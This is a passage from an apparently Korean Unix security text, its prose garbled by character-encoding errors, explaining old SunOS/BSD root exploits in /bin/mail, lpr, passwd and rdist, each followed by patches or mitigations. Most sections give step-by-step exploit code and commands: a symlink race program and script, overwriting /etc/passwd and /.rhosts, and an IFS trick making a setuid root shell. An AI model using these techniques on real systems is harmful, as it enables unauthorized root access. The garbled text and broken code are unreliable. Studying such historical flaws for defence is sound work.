Á¦ 1 Àý SunCSÀÇ/bin/mail¿¡¼­

/bin/mailÀº ÀüÀÚ ¿ìÆíÀ» ÀÌ¿ëÇÒ¶§ »ç¿ëÇÏ´Â ¸í·É¾î·Î¼­ ±¸Ã¼ÀûÀ¸·Î´Â ÀüÀÚ ¿ìÆíÀ» º¸³»°Å³ª ¹Þ°Å³ª ÆíÁýÇÒ ¶§ ÀÚÁÖ »ç¿ëµÇ´Â ¸í·É¾îÀÌ´Ù. ÀÌ ¸í·É¾î¿¡´Â ÀÏ¹Ý »ç¿ëÀÚÀÇ Çã°¡µÇÁö ¾ÊÀº ½Ã½ºÅÛ ¿µ¿ªÀÇ Á¢±Ù, Áï ÀÏ¹Ý »ç¿ëÀÚ·Î ÇÏ¿©±Ý ·çÆ®ÀÇ ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖµµ·Ï ÇÏ´Â ¹ö±×°¡ Á¸ÀçÇÏ°í ÀÖ´Ù. /bin/mailÀÇ ¹ö±×°¡ Á¸ÀçÇÏ´Â ½Ã½ºÅÛÀº ´ÙÀ½°ú °°´Ù.

¡¤SunOS 4.1x

1 ¹®Á¦Á¡

/bin/mail ¸í·É¾î°¡ ¾î¶°ÇÑ ¹®Á¦Á¡À» °¡Áö°í ÀÖ´ÂÁö ¾Ë¾Æº¸ÀÚ.

¡¤/bin/mailÀº ÀüÀÚ ¿ìÆíÀ» º¸³¾¶§, setuid¿¡ ÀÇÇØ ·çÆ® ±ÇÇÑÀ¸·Î /tmp/maa????ÆÄÀÏÀ» »ý¼ºÇÑ´Ù.-????´Â /bin/mail ÇÁ·Î¼¼½ºÀÇ PDÁß ³¡ÀÇ ³×ÀÚ¸® ¼ýÀÚ¸¦ ³ªÅ¸³½´Ù.-À̶§ stat()·Î ¸ÕÀú °Ë»çÇÏ°í ÆÄÀÏÀ» ¿¬´Ù.

¡¤ÆÄÀÏÀ» ¿­±â Àü¿¡ ½Ã½ºÅÛ ÄÝ stat()¸¦ ÀÌ¿ëÇÏ¿© /tmp/maa????ÀÌ link°¡ ¾Æ´ÑÁö¸¦ Á¡°ËÇÑ´Ù. stat()·Î °Ë»çÇÑ Á÷ÈÄ, ÆÄÀÏÀ» ¿­ ±â Á÷Àü¿¡ ÀÏ´Ü /tmp/maa????¸¦ Áö¿ì°í /tmp/maa????¸¦ ¼öÁ¤ÇÏ°í ½ÍÀº ÆÄÀÏ·Î ¸µÅ©ÇÑ´Ù. ÀÌ·¸°Ô µÇ¸é /tmp/maa????¿¡ ÀÇÇÏ¿© ¸µ Å©µÈ ¾î¶°ÇÑ ÆÄÀϵµ ·çÆ®ÀÇ ±ÇÇÑÀ¸·Î ±× ³»¿ëÀ» ¼öÁ¤ÇÒ ¼ö ÀÖ°Ô µÈ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù.

µû¶ó¼­ ´ÙÀ½°ú °£Àº °úÁ¤À¸·Î °£´ÜÇÏ°Ô ·çÆ® ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ´Ù.

1. tmpmail.sh, mailrace.c¸¦ ¸¸µç´Ù(ÆÄÀÏÀÇ ³»¿ëÀº Â÷ÈÄ¿¡ ¼³¸íÇϵµ·Ï ÇÏ°Ú´Ù).
2. mailrace.c¸¦ compileÇÏ¿© mailrace¶ó´Â ½ÇÇà ÆÄÀÏÀ» ¸¸µç´Ù.

% cc -o mailrace mailrace.c

3. ´ÙÀ½ÀÇ ³»¿ëÀ» °¡Áö´Â myrhosts¶ó´Â ÆÄÀÏÀ» ¸¸µç´Ù(¿©±â¼­,hackedhost´Â ħÀÔÇÏ°íÀÚ Çϴ ȣ½ºÆ®ÀÇ À̸§À», hacker´Â ÀÚ½ÅÀÇ user-idÀ» ¸»ÇÑ´Ù)

% cat myrhosts
hackedhost hacker

4. ±× ÈÄ, ´ÙÀ½ ¸í·ÉÀ» ½ÇÇàÇÏ¸é ·çÆ®°¡ µÈ´Ù.

% chmod 755 tmpmail.sh
% tmpmail.sh myrhosts / .rhosts
% rsh hackedhost -1 root sh -i
# whoami
root
mailrace.c¿Í tmpmail.shÀÇ ³»¿ëÀº ´ÙÀ½°ú °°´Ù.

% cat mailrace.c
/* mailrace.c
*usage : mailrace pid tofile
*/
#include <stduio.h>
#include <unistd.h>

char path[] = "/tmp/maaXXXX";

main(argc,argv)
int argc;
char **argv;
{
int pid;
char *trv;

/*Stolen from mktemp.c */
for (trv = path; *trv; ++trv); /* extra X's get set to 0's */
while (*--trv == 'X'){
*trv = (pid % 10) + '0';
pid /= 10
}

symlink(argv[2], path);
while(symlink(argv[2],path));
exit(0);
}

mailrace.c¿¡¼­´Â /tmp/maa????(????´Â argv[1]·Î ³Ñ°ÜÁø´Ù)¶ó´Â ¹®ÀÚ¿­À» ¸¸µé°í, ¿îÇÏ´Â ÆÄÀÏ(argv[2])¿¡ ¼º°øÇÒ ¶§±îÁö ¸µ Å©¸¦ ½ÃµµÇÑ´Ù.

%cat tmpmail.sh
#!/bin/sh
# (c) [81gm] 1994, tested under SunOS 4.1.2.
#
# tmpmail: overwrite files using binmail
# Usage: tmpmail from-file to-file

PATH=/usr/ucb:/usr/bin:/bin wxport PATH
IFS=" " export IFS

FROM_FILE="$1"
TO_FILE="$2"
PID="$$"

./mailrace $PID $TO_FILE &
exec /bin/mail -dN $LOGNAME < $FROM_FILE

tmpmail.sh¿¡¼­´Â ÇÑÆÄÀÏ(FROM_FILE)À» ´Ù¸¥ ÆÄÀÏ(TO_FILE)·Î º¹»çÇϱâ À§ÇÏ¿© µÎ°³ÀÇ ÀÎÀÚ¸¦ ¹Þ´Â´Ù. ±×¸®°í °æÀï Á¶°Ç(race condition)À» ¸¸Á·½ÃÅ°±â À§ÇÏ¿© mailrace¸¦ background·Î ½ÇÇà½ÃŲ´Ù. ¹°·Ð ÇöÀç ÇÁ·Î¼¼½ºÀÇ pid¿Í TO_FILE¸¦ ÀÎÀÚ·Î ³Ñ±ä´Ù. ÀÌ ¼ø°£ºÎÅÍ mailrace´Â /tmp/maa????¸¦ TO_FILE¿¡ Á×À» ¶§±îÁö ¸µÅ©ÇÏ·Á°í ³ë·ÂÇÑ´Ù. ±×¸®°í FROM_FILEÀ» mail·Î º¸³»¸é ¾ðÁ¨°¡ ´Â À§¿¡¼­ ¼³¸íÇÑ °æÀïÁ¶°ÇÀÌ ¸¸Á·µÈ´Ù.

2 ´ëÀÀÃ¥

SunOS 4.1.xÀÇ /bin/mail¿¡ ÀÖ´Â ¹ö±× À̹ǷΠÀÌ¿¡ ÇØ´çµÇ´Â ÆÐÄ¡(101436-08)¸¦ ±¸ÇÏ¿© ¼³Ä¡ÇÑ´Ù. Á¦6Àå Á¦4ÀýÀÇ ÆÐÄ¡¸¦ ÂüÁ¶ÇÏ ±â ¹Ù¶õ´Ù. PLUS¿¡¼­ ¸¸µç PSEC1À» ¼³Ä¡ÇϰԵǸé ÀÚµ¿ÀûÀ¸·Î ÆÐÄ¡µÇ¾îÁø´Ù.

Á¦ 2 Àý lpr¿¡¼­

lprÀº ¹®¼­ÀÇ ÇÁ¸°Æ®¸¦ À§ÇÏ¿© »ç¿ëµÇ´Â ¸í·É¾î·Î¼­ °ÅÀÇ ¸ðµç UNIX ½Ã½ºÅÛ¿¡¼­ »ç¿ëµÇ°í ÀÖÀ» Á¤µµ·Î »ç¿ë ºóµµ°¡ ³ôÀº ¸í·É ¾î ÁßÀÇ ÇϳªÀÌ´Ù. ±×·¯³ª ´©±¸³ª ½±°Ô »ç¿ëÇÏ´Â ÀÌ ¸í·É¾î°¡ ½Ã½ºÅÛ¿¡ Ä¡¸íÀûÀÎ ¿µÇâÀ» ÁÖ´Â ¹ö±×¸¦ ¾È°í ÀÖÀ» ÁÙ ´©°¡ »ó»óÀÌ ³ª Ç߰ڴ°¡? ƯÈ÷ ÀÌ ¹ö±×¸¦ ÀÌ¿ëÇÏ¿© ·çÆ® ±ÇÇÑÀ» ¾ò´Â °ÍÀº °£´ÜÇÑ ½ºÅ©¸³Æ® ¸î ÁÙ·Î½á °¡´ÉÇϱ⠶§¹®¿¡ ÇØÄ¿µéÀÌ Áñ°Ü »ç¿ë ÇÑ´Ù.
lprÀÇ ¹ö±×°¡ Á¸ÀçÇÏ´Â ½Ã½ºÅÛÀº ´ÙÀ½°ú °°´Ù.

¡¤SunOS 4.1.1 or earlier
¡¤BSD 4.3
¡¤BSD NET/2 Derived Systems
¡¤A/UX 2.0.1

1 ¹®Á¦Á¡

lpr ¸í·É¾î°¡ ¾î¶°ÇÑ ¹®Á¦Á¡À» ¾È°í ÀÖ´ÂÁö ¾Ë¾Æº¸ÀÚ.

¡¤´ÙÀ½°ú °°ÀÌ lprÀº setuid¸¦ °¡Áö°í ÀÖ´Ù.

% ls -al /usr/ucb/lpr
32 -rws--s--x 1 root 32768 jul 24 1992 /usr/ucb/lpr*

¡¤¿É¼ÇÀ¸·Î -s¸¦ °¡Áö°í ÀÖ´Ù. ÀÌ ¿É¼ÇÀÌ ÀǹÌÇÏ´Â ¹Ù´Â ´ÙÀ½°ú °°´Ù.(SunOS 4.1.3ÀÇ lpr¸Å´º¾ó¿¡¼­ ¹ßÃé)

-s Create a symbolic link from the spool area to the data files rather than trying to copy them (so alrge file s can be printer). Thes means the data files should not be modified or removed until they have been printd. This option can be used to avoid trunvating files larger than the maximum given in the mxcapability of the printcap( 5) entry. -s only prevents copies of local files from being made. jobs from remote hosts are copied anyw ay. -s only works with named data files; if the lpr command is at the end of a pipeline, the data is copied to t he spool.

ÀϹÝÀûÀ¸·Î lpr filename ¸í·ÉÀ» ½ÇÇàÇϸé lprÀº spool ¿µ¿ª(/usr/spool/lpd)À¸·Î ÆÄÀÏÀ» º¹»çÇÑ´Ù. °¡²û¾¿ ÀμâÇÒ ÆÄÀÏÀÌ ³Ê ¹« Å©¸é spool ¿µ¿ªÀÌ °í°¥µÉ ¼ö Àִµ¥, ÀÌ·¯ÇÑ °æ¿ì¸¦ ´ëºñÇÏ¿© lprÀÌ Á¦°øÇÏ´Â ¿É¼ÇÀÌ -sÀÌ´Ù. -s ¿É¼ÇÀ» »ç¿ëÇϸé, lprÀº ÇÁ ¸°Æ®ÇÒ ÆÄÀÏÀ» spool¿µ¿ª¿¡ º¹»çÇÏÁö ¾Ê°í spool¿µ¿ª¿¡ ÇÁ¸°Æ®ÇÒ ÆÄÀÏ·ÎÀÇ ½Éº¼¸¯ ¸µÅ©¸¦ ¸¸µç´Ù. ÀÌ ½Éº¼¸¯ ¸µÅ©°¡ ÇØÄ¿µé¿¡ ÀÇ Çؼ­´Â ÀüÇô ´Ù¸¥ Àǵµ·Î »ç¿ëµÇ¾îÁö¸é¼­ ¹®Á¦¸¦ ÀÏÀ¸Å²´Ù.

¡¤ ¸¶Áö¸·À¸·Î lpd´Â 1000¹ø¸¶´Ù °°Àº À̸§ÀÇ ÆÄÀÏÀ» »ç¿ëÇÑ´Ù.
1000°³ÀÇ ÆÄÀÏÀ̸§À» ¼øÂ÷´ë·Î ¹Ýº¹ÇÏ¿© »ç¿ëÇÏ´Â ³­¼ö ¹ß»ý»óÀÇ ¹®Á¦ ´ë¹®ÀÌ´Ù.

µû¶ó¼­ ´ÙÀ½°ú °°Àº °úÁ¤À¸·Î ·çÆ® ±ÇÇÑÀ» ¾ò¾î³¾ ¼ö ÀÖ´Ù.

1. ÀÓÀÇÀÇ ÆÄÀÏ(temp)À» »ý¼º½ÃŲ´Ù.

% echo test > /tmp/temp
1 -rw-r--r-- 1 plus 5 Aug 27 11:48 temp

2. lpr -s temp¸¦ ÀÌ¿ëÇÏ¿© spool ¿µ¿ª¿¡ ½Éº¼¸¯ ¸µÅ© ÆÄÀÏÀ» »ý¼º½ÃŲ´Ù.

% lpr -s -q /tmp/temp
% ls -al /usr/spool/lpd
total 9
1 drwxr-sr-x 2 daemon 512 Aug 27 11:50 ./
1 drwxr-xr-x 3 root 512 Nov 10 1992 ../
1 -rw-rw---- 1 daemon 51 Aug 27 11:50 cfA714ie
1 lrwxrwxrwx 1 root 21 Aug 27 11:50 dfA714ie -> /tmp/temp
1 -rw-r--r-- 1 daemon 15 Aug 27 11:49 lock
1 -rw-r--r-- 1 daemon 25 Aug 27 11:49 status

3. temp¸¦ Áö¿ì°í ´Ù½Ã ÀÌ ÆÄÀÏÀ̸§À¸·Î /etc/passwd¿¡ ½Éº¼¸¯ ¸µÅ©¸¦ ¸¸µç´Ù.

% rm -f /tmp/temp
% ln -s /etc/passwd /tmp/temp
% ls -al /tmp/temp
1 lrwxrwxrwx 1 plus 11 Aug 27 11:55 temp -> /etc/passwd

4. ÀǵµÀûÀ¸·Î 999¹ø lprÇÑ´Ù. ¼ÕÀ¸·Î Çϸé Á¶±Ý ÈûÀÌ µé°ÚÁö¸¸ ÇÁ·Î±×·¥À» ¸¸µç´Ù¸é ½±°Ô ÇØ°áÇÒ ¼ö ÀÖ´Ù.

5. °¡Â¥ passwd ÆÄÀÏ(tpasswd)À» Çϳª ¸¸µé¾î¼­ lpr tpasswd¸¦ ½ÇÇàÇÏ°Ô µÇ¸é lpd´Â tpasswd¸¦ dfA714ie ÆÄÀÏ·Î º¹»çÇÏ·Á°í ÇÑ ´Ù. ÇÏÁö¸¸ ÀÌ dfA714ie´Â /tmp/temp¿¡ link°¡ µÇ¾î ÀÖ°í ¶Ç /tmp/temp ´«/etc/passwd¿¡ ¸µÅ©µÇ¾î ÀÖÀ¸¹Ç·Î °á±¹¿¡´Â ½ÇÁ¦ÀÇ /et c/passwd ÆÄÀÏ·Î º¹»çµÈ´Ù.

2 ´ëÀÀÃ¥

½Ã½ºÅÛ¿¡ ÇØ´çÇÏ´Â ÆÐÄ¡¸¦ ±¸ÇÒ ¼ö ÀÖ´Ù¸é À̸¦ ÀÌ¿ëÇؼ­ lprÀ» ±³Ã¼ÇÏ´Â ¹æ¹ýÀÌ °¡Àå °£´ÜÇÑ ¹æ¹ýÀÌ´Ù. SunOSÀÇ °æ¿ì¿¡´Â ½± °Ô ÆÐÄ¡¸¦ ±¸ÇÒ ¼ö ÀÖÀ» °ÍÀÌ°í PLUS¿¡¼­ ¸¸µç PSEC1À» ¼³Ä¡Çϸé ÀÚµ¿ÀûÀ¸·Î ÆÐÄ¡µÈ´Ù. ÆÐÄ¡°¡ ¾ÈµÈ´Ù¸é, lprÀÇ setuid¸¦ ¾ø¾Ö°í setgid¸¦ ºÙÀÌ´Â ¹æ¹ýÀÌ ÀÖ´Ù. À̶§ lprÀÇ groupÀº Àû´çÇÑ À̸§À¸·Î °áÁ¤ÇÑ´Ù. ¸¸¾à lprÀÇ groupÀ» lgroupÀ̶ó°í Çß´Ù¸é /usr/s pool/lpdÀÇ group id¸¦ lprgrp·Î ¹Ù²Ù°í ±×·ì¿¡°Ô ¾²±â ±ÇÇÑÀ» ÁÖ¸éµÈ´Ù.

# cd /usr/ucb
# ls -lg lpr
-rws--s--x 1 root daemon 32758 Oct 12 1990 lpr
# chmod u-s lpr
# ls -lg lpr
-rwx--s--x 1 root daemon 32768 Oct 12 1990 lpr
# cat /etc/group
wheel:*:0:
nogroup:*:65534:
. . . . .
. . . . .
other:*:20:
# echo "lprgrp:*:30:" >> /etc/group
hweel:*:0:
nogroup:*:65534:
. . . . .
. . . . .
other:*:20:
lprgrp:*:30:
# chgrp lprgrp lpr
# ls -lg lpr
-rwx--s--x 1 root lprgrp 32768 Oct 12 1990 lpr
# cd /usr/spool
# ls -alg lpd
total 5
drwxrwsr-x 2 daemon daemon 512 Aug 26 10:12 .
drwxw-sr-x 11 root bin 512 Aug 27 17:15 ..
-rw-rw---x 1 root daemon 4 Aug 26 10:12 .seq
-rw-r--r-- 1 root daemon 4 Aug 27 17:15 lock
-rw-rw-r-- 1 root daemon 0 Jul 21 22:26 lpd-log
-rw-rw-r-- 1 root daemon 38 Jul 11 16:17 status

Á¦ 3 Àý SunOS 4.1.xÀÇ passwd¿¡¼­

UNIX¿¡¼­´Â ¾î¶² È£½ºÆ®¿¡ µé¾î°¡´õ¶óµµ Æнº¿öµå¸¦ ¹°¾îº»´Ù. ÀÌ·¯ÇÑ ±âÃÊÀûÀÎ º¸¾È¹æ¹ýÀÎ Æнº¿öµå¸¦ º¯°æÇϰųª ·Î±×ÀÎ ½©, ±âŸ ÀÚ½ÅÀÇ Á¤º¸¸¦ º¯°æÇÏ´Â /bin/passwd¸í·É¾î¸¦ »ç¿ëÇÑ´Ù. ½ÇÁ¦·Î UNIXÀÇ °¡Àå ±âÃÊÀûÀÎ º¸¾ÈÀ» À§Çؼ­ »ç¿ëµÇ¸ç UNIX¸¦ »ç ¿ëÇÒ ¶§¸¶´Ù ¹Ýµå½Ã ÇѹøÀº »ç¿ëÇÏ°Ô µÇ´Â ÀÌ ¸í·É¾î¿¡ ·çÆ® ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ°Ô ÇØÁÖ´Â ¹ö±×°¡ ÀÖ¾ú´Ù´Â °ÍÀº ¿¾¼Ó´ãÀÇ ¹Ï´Â µµ³¢¿¡ ¹ßµî ÂïÈù´Ù´Â ¸»À» ½Ç°¨ ÀÖ°Ô ´À³¢°Ô ÇØÁÖ´Â °Í °°´Ù.
/bin/passwdÀÇ ¹ö±×°¡ Á¸ÀçÇÏ´Â ½Ã½ºÅÛÀº ´ÙÀ½°ú °°´Ù.
.SunOS 4.1.x

1 ¹®Á¦Á¡

/bin/passwd¸í·É¾îÀÇ ¹®Á¦Á¡À» ¾Ë¾Æº¸ÀÚ.

¡¤ /bin/passwd´Â setuid°¡ ºÙ¾î ÀÖ´Ù.
% ls -1 /bin/passwd
32 -rwsr-xr-x 5 root 32768 Aug 1 1992 /bin/passwd*

¡¤ Æнº¿öµå¸¦ º¯°æÇÒ ¶§ /bin/passwd´Â ·çÆ® ±ÇÇÑÀ¸·Î /etc/ptmp ÆÄÀÏÀ» Àá½Ã ¸¸µé°Ô µÈ´Ù. /etc/ptmp Çѹø¿¡ ÇÑ process¸¸ / bin/passwd¸¦ ¿­ ¼ö ÀÖ°Ô ÇÏ´Â semaphoreÀÇ ±â´É°ú ÀÓ½ÃÆÄÀÏÀÇ ±â´ÉÀ» ÇÑ´Ù.
¡¤ /bin/passwd¿¡´Â ¿É¼ÇÀÌ Àִµ¥ ÀÌ°ÍÀº ƯÁ¤ ÆÄÀÏÀ» Æнº¿öµå ÆÄÀÏ·Î »ç¿ëÇÒ ¼ö ÀÖ°Ô ÇØÁØ´Ù.

º¸¾È Ãë¾à¼ºÀÇ ¿¹¸¦ µé±â Àü¿¡ ±âº»ÀûÀÎ /bin/passwdÀÇ ÆÄÀÏ °»½Å¼ø¼­¿¡ ´ëÇÏ¿© °£´ÜÈ÷ ¼³¸íÇÏ¿© ¹ö±×¿¡ ´ëÇÑ ÀÌÇظ¦ µ½µµ·Ï ÇÏ°Ú´Ù.

1. /bin/passwd °¡ ½ÇÇàµÈ´Ù.
2. /bin/passwd ´Â /etc/passwdÆÄÀÏÀ» Àо »ç¿ëÀÚ°¡ ÀÖ´ÂÁö È®ÀÎÇÑ´Ù.
3. ¸¸¾à »ç¿ëÀÚ°¡ Á¸ÀçÇÑ´Ù¸é, ÀÌÀüÀÇ Æнº¿öµå¸¦ ÀÔ·Â¹Þ°í »õ·Î¿î Æнº¿öµå¸¦ ÀԷ¹޴´Ù.
4. ·çÆ®¸¦ ¼ÒÀ¯ÁÖ·Î ÇÏ´Â /etc/ptmp¶ó´Â ÀÓÀÇÀÇ ÆÄÀÏÀ» ¸¸µé¾î º¯°æµÈ ³»¿ëÀ» °»½ÅÇÑ´Ù.
5. /etc/ptmp ¸¦ /etc/passwd·Î º¹»çÇÏ°í¼­ /etc/ptmp¸¦ Áö¿î´Ù.

¿©±â¼­ ÁÖ¸ñÇÏ¿©¾ß ÇÒ »ç½ÇÀº À§ÀÇ ¸ðµç ÀÛ¾÷ÀÌ ·çÆ®ÀÇ ±ÇÇÑÀ¸·Î ÀÌ·ç¾îÁö°í ÀÖ´Ù´Â °ÍÀÌ´Ù. µû¶ó¼­ ´ÙÀ½°ú °°Àº ÀÛ¾÷À» ÅëÇÏ¿© ·çÆ® ±ÇÇÑÀ» ¾ò¾î³¾ ¼ö ÀÖ´Ù.

1. ÀÓÀÇÀÇ Æнº¿öµå ÆÄÀÏ /tmp/b.rhosts¸¦ ¸¸µç´Ù. ÀÌ ÆÄÀÏÀÇ Å©±â°¡ Ŭ¼ö·Ï °æÀï Á¶°ÇÀÌ È¿°úÀûÀ¸·Î ¹ß»ýÇϹǷΠ°¡´ÉÇϸé /etc /passwd¸¦ ¿©·¯¹ø ¹Ýº¹ÇÏ¿© º¹»çÇÏ°í ¸¶Áö¸·¿¡´Â ´ÙÀ½ÀÇ ÇÑ ÁÙÀ» Ãß°¡ÇÑ´Ù.
localhost hacker : : : : : :
2. /tmp/a·Î /tmp/b¸¦ linkÇÑ´Ù.
3. passwd -F /tmp/a/.rhosts¸¦ ½ÇÇà½ÃŲ´Ù. À̶§ passwdÇÁ·Î¼¼½º´Â »ç¿ëÀÚ¿¡°Ô Æнº¿öµå¸¦ ¹¯´Â´Ù.
4. Æнº¿öµå¸¦ ÀÔ·ÂÇϱâ Àü¿¡ /tmp/a¸¦ /·Î ¸µÅ©ÇÑ´Ù.
5. Æнº¿öµå¸¦ ÀÔ·ÂÇÑ´Ù.
6. passwd ÇÁ·Î¼¼½º´Â /tmp/a¿¡ ptmp(/ptmp)¸¦ ¸¸µç´Ù.
7. passwd ÇÁ·Î¼¼½º°¡ /tmp/a¿¡ /ptmp¸¦ ¸¸µéÀÚ ¸¶ÀÚ /tmp/a¸¦ /tmp/b·Î ¿¬°áÇÑ´Ù.
8. passwd ÇÁ·Î¼¼½º´Â /tmp/a/.rhosts(/tmp/b/.rhosts)¸¦ Àаí(Àд ½Ã°£À» ±æ°Ô Çϱâ À§ÇÏ¿©
/tmp/b/.rhostsÀÇ ±æÀÌ´Â ±æ°Ô ÇÏ´Â °ÍÀÌ ÁÁ´Ù.) ÀÔ·ÂµÈ Æнº¿öµå¸¦ º¯°æÇÏ¿© ptmp¿¡ ¾µ °ÍÀÌ´Ù.
9. passwd ÇÁ·Î¼¼½º°¡ /tmp/a/.rhosts¸¦ ¿­ÀÚ¸¶ÀÚ /tmp/a¸¦ /·Î ¹Ù²Û´Ù.
10. passwd ÇÁ·Î¼¼½º´Â /tmp/a/.rhosts(/.rhosts)¿¡ ptmp¸¦ ¾´´Ù (/tmp/a/.rhosts ¿Í ptmp´Â °°Àºdirectory¿¡ Á¸ÀçÇÏ¿©¾ß ÇÏ¹Ç ·Î /tmp/a¸¦ /¿Í /tmp/b·Î ¹ø°¥¾Æ°¡¸ç ¸µÅ©ÇÏ´Â °ÍÀÌ´Ù.)
11. °á±¹ /.rhosts¿¡´Â localhost hacker : : : : : :¶ó´Â ÇÑÁÙÀÌ »ðÀԵȴÙ.

2 ´ëÀÀÃ¥

Á¦6Àå Á¦4Àý¿¡ ³ª¿À´Â ÆÐÄ¡¸¦ ÂüÁ¶ÇÏ¿© ½Ã½ºÅÛ¿¡ ÀûÇÕÇÑ ÆÐÄ¡¸¦ ¼³Ä¡ÇÏ´Â °ÍÀÌ °¡Àå ÁÁÀº ¹æ¹ýÀÌ´Ù. PLUS¿¡¼­ ¸¸µç PSEC1À» ¼³ Ä¡Çϸé ÀÚµ¿ÀûÀ¸·Î ÆÐÄ¡µÈ´Ù. ÆÐÄ¡¸¦ ÇÒ ¼ö ¾øÀ¸¸é,
/bin/passwdÀÇ -F¿É¼ÇÀ» Á¦°ÅÇÏ´Â ¹æ¹ýÀÌ ÀÖ´Ù.

> # cd bin
> # mv passwd passwd.old; chmod 700 passwd.old
> # cp passwd.old passwd
> # adb -w - passwd
not core file = passwd
> /1 'F:'
0x68de
> 0x68de/w 0
0x68de: 0x463a = 0x0
<CTRL-D>
> # chmod 4711 /bin/passwd
> # /bin/passwd -F /tmp/WinnersBlues
passwd: illegal option -- F
Usage: passwd [-1|-y] [-F file] [-afs] [-d user] [-e user]
[-n numday user] [-x numday user] [user]
#

Á¦´ë·Î Á¦°ÅµÇ¾ú´Ù¸é ½ÇÇà½Ã -F¿É¼ÇÀÌ ¾ø´Ù´Â ¸Þ½ÃÁö°¡ ³ª¿Â´Ù.

Á¦ 4 Àý rdist¿¡¼­

UNIX »ç¿ëÀÚ´Â ´©±¸³ª ½©(Bourn shell. C shell, ...)À» »ç¿ëÇÏ°í ÀÖ´Ù. ÇÏÁö¸¸ ÀÌ ½©µé¿¡°Ô IFS¶ó´Â ȯ°æ º¯¼ö°¡ Á¸ÀçÇÑ´Ù´Â »ç½ÇÀ» ¾Ë°í Àְųª ¶Ç ¾Ë°í ÀÖ´Ù°í ÇÏ´õ¶óµµ º¯¼ö°¡ ¾î¶»°Ô, ¾î¶² °æ¿ì¿¡ »ç¿ëµÇ´ÂÁö¿¡ ´ëÇÏ¿© ÀÚ¼¼È÷ ¾Ë°í ÀÖ´Â »ç¶÷Àº ±×¸® ¸¹Áö ¾Ê´Ù. rdist¿¡´Â IFS¸¦ ÀÌ¿ëÇÏ¿© ·çÆ® ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ´Â ¹ö±×°¡ ÀÖ´Ù.
¸ÕÀú IFS¿¡ ´ëÇÏ¿© °£´ÜÈ÷ ¼Ò°³Çϵµ·Ï ÇÏ°Ú´Ù. IFS´Â input-word-separator·¯ ¾î¶² ¹®ÀÚ¸¦ »ç¿ëÇÒ °ÍÀÎÁö¸¦ Á¤Çϴ ȯ°æ º¯¼ö ÀÌ´Ù. ´ÙÀ½Àº IFS¸¦ »ç¿ëÇÏ´Â °£´ÜÇÑ ¿¹ÀÌ´Ù.

% cat > test
#!/bin/sh
IFS="/"
export 'pwd'
-D

À§ÀÇ ½© ½ºÅ©¸³Æ® ½ÇÇà°á°ú¿Í ±×³É ÇÁ·ÒÇÁÆ® »ó¿¡¼­ÀÇ pwd(1)¸¦ ºñ±³ÇØ º¸¸é ´ÙÀ½°ú °°´Ù.

% pwd
/home/fox/under/plus/tmp
% test
home fox under plus tmp

IFS°¡ ÀÔ·ÂµÈ ´Ü¾îµéÀÇ separator·Î ÀÛ¿ëÇÏ¿© home, fox, ...µîÀÌ ÇϳªÀÇ ´Ü¾î·Î Àνĵǰí ÀÖ´Ù. ±×·¯¸é ´ÙÀ½ÀÇ ½ºÅ©¸³Æ®ÀÇ ½Ç Çà°á°ú¸¦ À¯½ÉÈ÷ »ìÆ캸µµ·Ï ÇÏÀÚ. ¿©±â¿¡¼­ rdist°¡ ¾î¶»°Ô º¸¾È¿¡ ÇêÁ¡À» ³²±â°Ô µÇ´ÂÁö¸¦ ¾Ï½ÃÇÏ´Â ¿¹ÀÌ´Ù.

% cat > test1
#!/bin/sh
IFS="/"
export PATH
/usr/lib/sendmail
-D

% test1
test1: usr: not found
usr

usrÀ̶ó´Â ½ÇÇàÆÄÀÏÀÌ ¾ø´Ù´Â ¸Þ½ÃÁö¸¦ º¸¿©ÁÖ°í ÀÖ´Ù.
rdistÀÇ ¹ö±×°¡ Á¸ÀçÇÏ´Â ½Ã½ºÅÛÀº ´ÙÀ½°ú °°´Ù.

¡¤ SunOS 4.1.2 or earlier
¡¤ A/UX 2.0.1
¡¤ SCO 3.2v.4.2
¡¤ BSD NET/2 derivedn Systems

1 ¹®Á¦Á¡

rdist¸í·É¾îÀÇ ¹®Á¦Á¡À» »ìÆ캸ÀÚ.
. ´ÙÀ½°ú °°ÀÌ rdist´Â setuid¸¦ °¡Áö°í ÀÖ´Ù.
% ls -al /usr/ucb/rdist
72 -rwst-x--x 1 root 73728 Feb 27 1995 /usr/ucb/rdist*

. ȯ°æ º¯¼öÀÎ IFS°¡ '/'·Î Á¤ÀǵǾî ÀÖ´Ù.
. rdist´Â ½ÇÇ൵Áß¿¡ popen(3)À» ÀÌ¿ëÇÏ¿© /usr/lib/sendmailÀ» ½ÇÇà½ÃŲ´Ù(distfile¿¡ ´ëÇÑ ÀÚ¼¼ÇÑ ³»¿ëÀº man(1)À» ÂüÁ¶ÇÏ ±â ¹Ù¶õ´Ù).

%cat distfile
HOSTS = hackerhost
FILES = BullInTheHeather
${FILES} -> ${HOSTS}
install /tmp/1 ;
notify hacker ;

2. /bin/sh¸¦ ÇöÀçÀÇ µð·ºÅ丮·Î º¹»çÇÑ´Ù.
3. ´ÙÀ½°ú °°Àº ³»¿ëÀÇ rdist°¡ ½ÇÇàÇÒ ÇÁ·Î±×·¥(¼Ò½º ÆÄÀÏÀ̸§Àº usr.c)À» ¸¸µé¾î ½ÇÇàÆÄÀÏÀÇ À̸§ÀÌ usrÀÌ µÇµµ·Ï ÄÄÆÄÀÏÇÑ´Ù . ÀÌ ÇÁ·Î±×·¥Àº ÇöÀç µð·ºÅ丮¿¡ ÀÖ´Â sh¶ó´Â ÆÄÀÏÀÇ ¼ÒÀ¯ÁÖ¸¦ ·çÆ®·Î ÇÏ°í ¸ðµå¿¡ setuid¸¦ ÷°¡ÇÑ´Ù.
% cat usr.c
main()
{
setuid(0); /* dffective _ser _d is root */
chown("sh", 0, 0); /* change owner root */
chmod("sh", 04755); /* set the setuid */
exit(0);
}
% cc -o usr usr.c

4. ÇöÀç µð·ºÅ丮¸¦ °æ·Î(path)¿¡ ÷°¡½ÃÅ°°í IFS¸¦ '/'·Î ¼³Á¤ÇÑ´Ù.

% SET PATH=(. $path)
% setenv IFS /

